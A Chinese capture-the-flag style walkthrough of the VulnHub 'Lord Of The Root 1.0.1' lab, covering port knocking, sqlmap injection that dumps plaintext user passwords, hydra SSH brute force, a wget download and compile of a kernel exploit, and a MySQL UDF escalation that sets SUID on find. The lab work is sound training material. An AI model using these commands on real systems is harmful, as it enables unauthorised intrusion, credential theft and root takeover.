VulnHub靶场【Lord Of The Root_1.0.1】

1.环境准备

下载地址:Lord Of The Root: 1.0.1 ~ VulnHub

靶机:Nat模式

攻击机kali:192.168.26.128(Nat模式)

靶机描述:这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念。
目标:得到root权限&找到flag.txt

2.渗透测试 

信息收集
主机探测
nmap -sP 192.168.26.0/26
//arp-scan -l

得知靶机ip地址:192.168.26.143 

端口探测
nmap -sS- -sV -p- 192.168.26.143

 扫描靶机只开放了22端口

漏洞探测

用searchsploit搜索一下

searchsploit openssh 6.6.1p1

先尝试一下弱口令爆破

弱口令失败了,再用hydra爆破一下

hydra -l smeagol -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.26.143 ssh -s 22

我们在用ssh登录的时候有提示我们

knock friend to enter

easy as 1,2,3 //意思是让敲震端口3次

端口碰撞

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

如何进行端口碰撞?

首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。

1)第一种方法:knock 命令
linux安装:sudo apt install knockd

使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v2)

hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1
hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1
hping3 -S 10.211.55.11 -p 3 -c 1
----------------
-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数

hping3端口碰撞

hping3 -S 192.168.26.143 -p 1 -c 1

hping3 -S 192.168.26.143 -p 2 -c 1

hping3 -S 192.168.26.143 -p 3 -c 1

通过ping冲撞之后,防火墙规则,重新进行nmap扫描,查看碰撞打开的端口

nmap -sS -sV -A -p- 192.168.26.143

重新扫描得知开启了1337端口存在http服务,进行信息枚举,访问该ip的1337端口 

目录探测 

dirb http://192.168.26.143:1337/

 经过枚举,发现该路径:/usr/share/dirb/wordlists/common.txt

访问该路径,得到下面一张图片

 查看一下网页源代码,发现一串base64加密字符

发现:THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh 

kali直接解密

解码后的内容为:Lzk3ODM0NTIxMC9pbmRleC5waHA= ,发现还是base64,继续解码

访问该路径地址,得到了1个登录框

 发现Welcome to the Gates of Mordor,进行sql注入,这里使用sqlmap注入

先将数据包抓取,将保存到1.txt文件中,再用sqlmap的-r参数进行sqlmap注入

或者直接使用-form参数即可

sqlmap -r 1.txt --level=3 -risk=3 --dbs
//sqlmap -u http://192.168.26.143:1337//978345210/index.php --forms --dbs

 爆数据库

爆出四个数据库库名信息!继续获取webapp数据表信息!

[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp

爆破数据库表信息

sqlmap -r 1.txt --level=3 -risk=3 -D Webapp --tables
//sqlmap -u http://192.168.26.143:1337//978345210/index.php --forms --dbs -D Webapp --tables

 爆出User这张表,直接进行爆破

爆字段 

sqlmap -r 1.txt --level=3 -risk=3 -D Webapp -T Users --columns

 

可看到数据库Webapp的表Users中存在字段id,password,username信息!

爆破字段内容信息

sqlmap -r 1.txt --level=3 -risk=3 -D Webapp -T Users -C password,username --dump

 

获得普通用户的用户名密码,那么来爆破下!

user:
frodo
smeagol
aragorn
legolas
gimli

passwd:
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe

用户名和密码分别写入两个txt文件

漏洞利用 

 1.hydra(九头蛇)爆破登录用户和密码

hydra -L user.txt -P pass.txt 192.168.26.143 ssh

获得登录用户和密码

login: smeagol   password: MyPreciousR00t 

输入账号密码,直接登录成功 

ssh登录靶机ip

ssh smeagol@192.168.26.143

成功得到webshell 

权限提升

查看内核

uname -a

查看系统版本

cat /etc/*-release

EXP内核提权
searchsploit Ubuntu 14.04 

找到相关权限提升的exp,将此复制下来

searchsploit -p 39166.c  

cp /usr/share/exploitdb/exploits/linux/local/39166.c .

chmod +x 39166.c

接下来在kali上用python开启一个终端

在靶机的客户端上下载39166.c,注意是要在靶机的tmp目录下载

wget http://192.168.26.128:8888/39166.c

在靶机上先进行编译再运行

gcc -o exp 39166.c -pthread -lcrypt

./exp

成功得到root权限,切换到root目录,查看flag文件

UDF提权

UDF提权先查看mysql版本!

dpkg -l | grep mysql   --查看历史安装包版本

5.5.44 

查看mysql运行权限是不是root! 

ps aux | grep root   ---查看mysql进程信息

 再寻找mysql账号密码!

发现信息:/var/www/978345210/login.php 

cat /var/www/978345210/login.php 

 获得数据库账号和密码,直接登录数据库

mysql -uroot -pdarkshadow

首先看一下是否满足写入条件:

show global variables like 'secure%';

是可以进行UDF提权的!  

查看插件目录:

show variables like '%plugin%';

插件目录在:/usr/lib/mysql/plugin/

查看能否远程登陆:

use mysql;

select user,host from user;

只能本地登录!

MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。

MySQL的四种BLOB类型:
类型           大小(单位:字节) 
TinyBlob      最大 255 
Blob          最大 65K 
MediumBlob    最大 16M 
LongBlob      最大 4G 
 
可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。 

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .

mv lib_mysqludf_sys_32.so dayu.so

 同样也是将此文件上传到靶机的tmp目录下

接着在靶机上输入一下命令

mysql -uroot -pdarkshadow
use mysql
create table dayu(dayu longblob);
insert into dayu values (load_file('/tmp/dayu.so'));
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';
create function sys_exec returns string soname 'dayu.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');
find / -exec '/bin/sh' \;

但是这并不能获得root权限,那就到这里结束了!

参考资料:LordOfTheRoot_1.0.1(VulnHub) - gcc_com - 博客园 (cnblogs.com)

总结

此篇靶场用到了端口碰撞的知识,后面用信息收集扫描到了登录框的目录,接着用sqlmap进行爆破,接着ssh登录得到webshell权限,在权限提升方面的话,一般都是进行内核提权,此方法比较简单,查看内核版本,找到相关的exp,下载编译执行即可获得root权限,在mysql中的udf提权中过程较为复杂,这里我还没有得到root权限,有空在试试

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值